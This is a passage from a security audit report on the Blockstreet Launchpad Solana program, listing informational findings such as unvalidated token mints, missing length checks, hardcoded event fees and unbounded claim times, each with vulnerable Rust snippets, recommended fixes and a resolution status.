49      /// BLOCK token mint
50      pub block_token_mint: Account<'info, Mint>,
51
52      /// Canonical USD1 mint (must have 6 decimals)
53      #[account(
54          constraint = usd1_mint.decimals == 6 @ LaunchpadError::InvalidTokenDecimals
55      )]
56      pub usd1_mint: Account<'info, Mint>,
57
58      pub system_program: Program<'info, System>,
59  }
```

This design introduces a significant risk, as a misconfigured or malicious deployment script could initialize the entire platform with incorrect or fraudulent token mints. The security of the launchpad relies on these mints being the canonical, trusted tokens. If this occurs, all subsequent operations—including fee collection, staking, and rewards—will be based on these fraudulent tokens.

This could lead to a complete compromise of the platform's economic model, causing users to stake worthless tokens or pay fees in illegitimate assets.

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is strongly recommended to hardcode the official `USD1` and `BLOCK` token mint addresses as constants within the program. During the `init_launchpad` instruction, these constants should be used to validate the `usd1_mint` and `block_token_mint` accounts provided by the caller. This ensures that the launchpad can only be initialized with the correct, canonical tokens, eliminating the risk of a misconfigured deployment.

programs/blockstreet-launchpad/src/constants.rs

```
use anchor_lang::prelude::pubkey;
use anchor_lang::prelude::Pubkey;

pub const USD1_MINT: Pubkey = pubkey!("..."); // Replace with the official USD1 mint address
pub const BLOCK_MINT: Pubkey = pubkey!("..."); // Replace with the official BLOCK mint address
```

programs/blockstreet-launchpad/src/instructions/admin/init_launchpad.rs

```
    /// BLOCK token mint
    #[account(constraint = block_token_mint.key() == BLOCK_MINT @ LaunchpadError::InvalidTokenMin
    pub block_token_mint: Account<'info, Mint>,

    /// Canonical USD1 mint (must have 6 decimals)
    #[account(
        constraint = usd1_mint.decimals == 6 @ LaunchpadError::InvalidTokenDecimals,
        constraint = usd1_mint.key() == USD1_MINT @ LaunchpadError::InvalidTokenMint
    )]
    pub usd1_mint: Account<'info, Mint>,
```

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.17 MISSING LENGTH VALIDATION ON PROJECT_URI ALLOWS FOR OVERSIZED DATA

// INFORMATIONAL

Description

The Blockstreet Launchpad program allows project creators to define metadata for their token sale pools, including a `project_uri` which typically points to a JSON metadata file. This is handled by instructions like `create_pool_with_fees`.

The instruction correctly validates the length of `project_name` and `project_symbol` against predefined constants (`MAX_PROJECT_NAME_LEN` and `MAX_PROJECT_SYMBOL_LEN`). However, it completely omits a similar length check for the `project_uri` field. This oversight is shown in the code snippet below:

programs/blockstreet-launchpad/src/instructions/admin/create_pool_with_fees.rs

```
200     require!(
201         metadata.project_name.len() <= MAX_PROJECT_NAME_LEN,
202         LaunchpadError::NameTooLong
203     );
204     require!(
205         metadata.project_symbol.len() <= MAX_PROJECT_SYMBOL_LEN,
206         LaunchpadError::SymbolTooLong
207     );
208     // Missing: require!(metadata.project_uri.len() <= MAX_PROJECT_URI_LEN, ...);
```

Storing excessively long strings on-chain can lead to several issues. It consumes more rent-exempt lamports than necessary, increasing costs. More importantly, it can cause downstream services, such as front-end applications or indexers that read this data, to fail or behave unexpectedly if they are not designed to handle strings larger than the intended maximum length.

This could result in a degraded or broken user experience for viewing and interacting with the affected pool.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is recommended to add a validation check for the `project_uri` length within the `create_pool_with_fees` handler, consistent with the checks already in place for other metadata fields. This can be done by adding a `require!` macro that compares the length of the `project_uri` string against the `MAX_PROJECT_URI_LEN` constant.

programs/blockstreet-launchpad/src/instructions/admin/create_pool_with_fees.rs

```
209     // Add this check
210     require!(metadata.project_uri.len() <= MAX_PROJECT_URI_LEN, LaunchpadError::UriTooLong);
```

Remediation Comment

SOLVED: The Blockstreet team solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.18 FEE COLLECTION EVENT EMITS HARDCODED VALUES, LEADING TO INACCURATE OFF-CHAIN DATA

// INFORMATIONAL

Description

The Blockstreet Launchpad program is designed to have configurable platform fees, which can be updated by the admin. When pools are created using either the `create_pool_with_fees` or `create_pool_from_submission_with_fees` instructions, they emit a `PoolCreationFeesCollected` event to log the transaction.

Both instructions exhibit the same issue: the events are emitted with hardcoded constant values (`UPFRONT_FEE_USD1` and `UPFRONT_FEE_BLOCK`) for the `usd1_fee` and `block_fee` fields. The actual fees charged are correctly read from the dynamic `launchpad` state (`launchpad.upfront_fee_usd1` and `launchpad.upfront_fee_block`), but the events do not reflect these dynamic values. This discrepancy occurs in both pool creation instructions, as shown in the code snippet below.

programs/blockstreet-launchpad/src/instructions/admin/create_pool_with_fees.rs

```
410     emit!(PoolCreationFeesCollected {
411         pool_id: pool.pool_id,
412         project_authority: pool.project_authority,
413         usd1_fee: UPFRONT_FEE_USD1,
414         block_fee: UPFRONT_FEE_BLOCK,
415         native_token_fee,
416         treasury_account: launchpad.treasury,
417         timestamp: clock.unix_timestamp,
418     });
```

If the platform fees are ever updated via the `update_platform_fees` instruction, the `PoolCreationFeesCollected` event will emit incorrect and misleading data. Off-chain services, indexers, or analytics dashboards that rely on this event log would record the old, default fee values instead of the actual fees collected. This undermines the reliability of the platform's event data and can lead to incorrect accounting and reporting.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is recommended to modify the `PoolCreationFeesCollected` event emission to use the dynamic fee values from the `launchpad` state account, which are the same values used for the actual fee transfer. This should be implemented in both `create_pool_with_fees` and `create_pool_from_submission_with_fees` functions:

programs/blockstreet-launchpad/src/instructions/admin/create_pool_with_fees.rs

```
410     emit!(PoolCreationFeesCollected {
411         pool_id: pool.pool_id,
412         project_authority: pool.project_authority,
413         usd1_fee: launchpad.upfront_fee_usd1,
414         block_fee: launchpad.upfront_fee_block,
415         native_token_fee,
416         treasury_account: launchpad.treasury,
417         timestamp: clock.unix_timestamp,
418     });
```

Remediation Comment

SOLVED: The Blockstreet team solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.19 DECENTRALIZED ACCOUNT INITIALIZATION LOGIC INCREASES RISK OF INCONSISTENCIES

// INFORMATIONAL

Description

The Blockstreet Launchpad program manages various account types that require proper initialization when created for the first time.

The `contribute_usd1` instruction contain account initialization logic implemented directly within instruction handlers rather than using centralized constructor methods, in the code snippet below.

programs/blockstreet-launchpad/src/instructions/user/contribute_usd1.rs

```
115 | // Check if this is a new contribution (first time)
116 | if contribution.pool == Pubkey::default() {
117 |     contribution.pool = pool.key();
118 |     contribution.contributor = ctx.accounts.contributor.key();
119 |     contribution.usd1_amount = 0;
120 |     contribution.contributed_at = clock.unix_timestamp;
121 |     contribution.bump = ctx.bumps.contribution;
122 | }
```

Decentralized initialization logic across multiple instruction handlers increases the risk of inconsistencies in account initialization patterns. Different instructions may initialize the same account type with different field values, missing fields, or incorrect initialization order, leading to unpredictable behavior and potential security vulnerabilities.

This pattern makes the codebase harder to maintain and more prone to bugs when modifications are required. If initialization logic needs to be updated, developers must identify and modify multiple locations throughout the codebase, increasing the likelihood of missing important updates in some handlers. Additionally, the lack of centralized validation during initialization may allow invalid or malicious account states to be created.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is recommended to centralize account initialization logic by implementing dedicated constructor methods:
1. Replace inline initialization code in instruction handlers with calls to the centralized constructor.
2. Include validation logic within constructors to ensure accounts are always initialized in a valid state.

Remediation Comment

SOLVED: The Blockstreet team solved the issue by implementing the suggested changes.

Remediation Hash

094e8e3c347bb83b9e97182af90d6d6b466167fc

7.20 UPDATE POOL INSTRUCTION CONTAINS SECURITY AND OBSERVABILITY ISSUES THAT ENABLE FUND LOCKING AND REDUCE TRANSPARENCY

// INFORMATIONAL

Description

The Blockstreet Launchpad is a fundraising platform for Solana projects that allows users to contribute to project pools during funding rounds. Projects can create pools with specific parameters like contribution limits, timing windows, and token allocations, while users can contribute USD1 stablecoins to participate in these funding rounds.

The platform provides pool creators with the `update_pool` instruction to modify pool parameters during the pending phase before a pool becomes active. This functionality is essential for allowing project authorities to adjust pool settings such as timing, contribution limits, and other parameters based on changing requirements.

However, the current implementation contains two issues that pose security risks and reduce system transparency:

Problem 1: Unbounded Claim Time Allows Indefinite Fund Locking

The instruction allows project authorities to set an arbitrarily high `claim_time` value without any upper bound validation. This creates a significant security risk where malicious or compromised project authorities can effectively lock user funds indefinitely by setting claim times far in the future.

programs/blockstreet-launchpad/src/instructions/admin/update_pool.rs

```
83  // Update claim time if provided
84  if let Some(claim_time) = params.claim_time {
85      require!(claim_time >= pool.end_time, LaunchpadError::InvalidTiming);
86
87      emit!(PoolUpdated {
88          pool_id: pool.pool_id,
89          field: "claim_time".to_string(),
90          old_value: pool.claim_time.to_string(),
91          new_value: claim_time.to_string(),
92      });
93      pool.claim_time = claim_time; // No time constraint on setting claim time
94  }
```

The only validation performed is ensuring that `claim_time >= pool.end_time` , but there is no upper bound check.

Problem 2: Missing Event Emissions Reduce System Transparency

The instruction fails to emit `PoolUpdated` events for several important parameter changes, including contribution limits and KYC requirements.

programs/blockstreet-launchpad/src/instructions/admin/update_pool.rs

```
96  // Update contribution limits if provided
97  if let Some(min_contribution) = params.min_contribution {
98      pool.min_contribution = min_contribution;
99  }
100
101 if let Some(max_contribution) = params.max_contribution {
102     pool.max_contribution = max_contribution;
103 }
104
105 // Keep base_max_contribution in sync if provided
106 if let Some(base_max) = params.base_max_contribution {
107     require!(
108         base_max >= pool.min_contribution,
109         LaunchpadError::InvalidTrancheConfig
110     );
111     pool.base_max_contribution = base_max;
112 }
113
114 // Update KYC requirement if provided
115 if let Some(require_kyc) = params.require_kyc {
116     pool.require_kyc = require_kyc;
117 }
118
119 // Update project URI if provided
120 if let Some(project_uri) = params.project_uri {
121     require!(
122         project_uri.len() <= MAX_PROJECT_URI_LEN,
123         LaunchpadError::UriTooLong
124     );
125
126     pool.project_uri = project_uri;
127 }
```

While timing-related updates (start_time, end_time, claim_time) properly emit `PoolUpdated` events, other important parameters like contribution limits, KYC requirements, and project metadata are updated silently without event emissions.

These issues create the following risks:

1. **Fund Locking Risk**: Malicious project authorities can set extremely high claim times, effectively locking contributor funds indefinitely and creating a soft rug pull scenario
2. **Reduced Transparency**: Missing event emissions make it difficult for users, UIs, and monitoring systems to track important pool parameter changes

BVSS

AO:S/AC:L/AX:L/R:F/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is recommended to implement the following changes:

1. **Implement Claim Time Upper Bound**:

- Add validation to ensure `claim_time` cannot exceed a reasonable maximum (e.g., `pool.end_time + MAX_CLAIM_DELAY`)
- Consider using a constant like `MAX_CLAIM_DELAY = 30 days` to prevent indefinite fund locking

2. **Add Comprehensive Event Emissions**:

- Emit `PoolUpdated` events for all parameter changes, including contribution limits, KYC requirements, and project metadata
- Ensure all pool state changes are properly logged for transparency and auditability

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.21 POOL LIFECYCLE MANAGEMENT CONTAINS INCONSISTENT HARD CAP COMPLETION LOGIC LEADING TO BEHAVIORAL DISCREPANCIES

// INFORMATIONAL

Description

The Blockstreet Launchpad program is a platform that enables project owners to create token launch pools where users can contribute funds to support new token projects. The platform includes automated lifecycle management functions to transition pools between different states based on timing and funding conditions.

Both the `process_pool_lifecycle` and `check_pool_completion` instructions contain inconsistent completion logic compared to the `auto_update_pool_status` instruction, as shown in the code snippets below. Specifically, the `should_auto_complete_pool` helper function in `process_pool_lifecycle` and the `check_completion_conditions` helper function in `check_pool_completion` only check if the end time has been reached but fail to check if the hard cap (`target_raise`) has been met.

programs/blockstreet-launchpad/src/instructions/admin/auto_update_pool_status.rs

```
PoolStatus::Active => {
    // Auto-complete if end_time reached OR hard cap hit
    if clock.unix_timestamp >= pool.end_time || pool.usd1_raised >= pool.target_raise {
        pool.status = PoolStatus::Completed;

        emit!(PoolAutoCompleted {
            pool_id: pool.pool_id,
            final_raised: pool.usd1_raised,
            completion_reason: if pool.usd1_raised >= pool.target_raise {
                "Hard cap reached".to_string()
            } else {
                "End time reached".to_string()
            },
            completion_time: clock.unix_timestamp,
        });
    }
}
```

programs/blockstreet-launchpad/src/instructions/admin/process_pool_lifecycle.rs

```
/// Check if pool should automatically complete
fn should_auto_complete_pool(pool: &Pool, clock: &Clock) -> bool {
    // In pro-rata system, pools only complete when end_time is reached
    // No automatic completion based on amount raised
    clock.unix_timestamp >= pool.end_time
}
```

programs/blockstreet-launchpad/src/instructions/admin/check_pool_completion.rs

```
/// Check all conditions that could trigger pool completion
fn check_completion_conditions(pool: &Pool, clock: &Clock) -> CompletionInfo {
    let current_time = clock.unix_timestamp;
    // In pro-rata system, only track usd1_raised

```

```
    // Check end time reached
    if current_time >= pool.end_time {
        return CompletionInfo {
            should_complete: true,
            reason: "End time reached".to_string(),
            status_info: format!("End time: {}, Current: {}", pool.end_time, current_time),
        };
    }
    ...
}
```

This inconsistency in completion logic can lead to several problematic scenarios for users and pool management. Users may experience confusion when pools behave differently depending on which lifecycle management instruction is called, as some pools may complete immediately upon reaching their hard cap while others continue running until the end time despite having reached their funding goal.

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is recommneded to standardize the completion logic across all lifecycle management instructions by updating both helper functions to include hard cap validation.

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

8. AUTOMATED TESTING

Description

Halborn used automated security scanners to assist with the detection of well-known security issues and vulnerabilities. Among the tools used was cargo-audit, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io are stored in a repository named The RustSec Advisory Database. cargo audit is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the reviewers are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

Results

No security vulnerabilities were detected by automated scanning tools.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.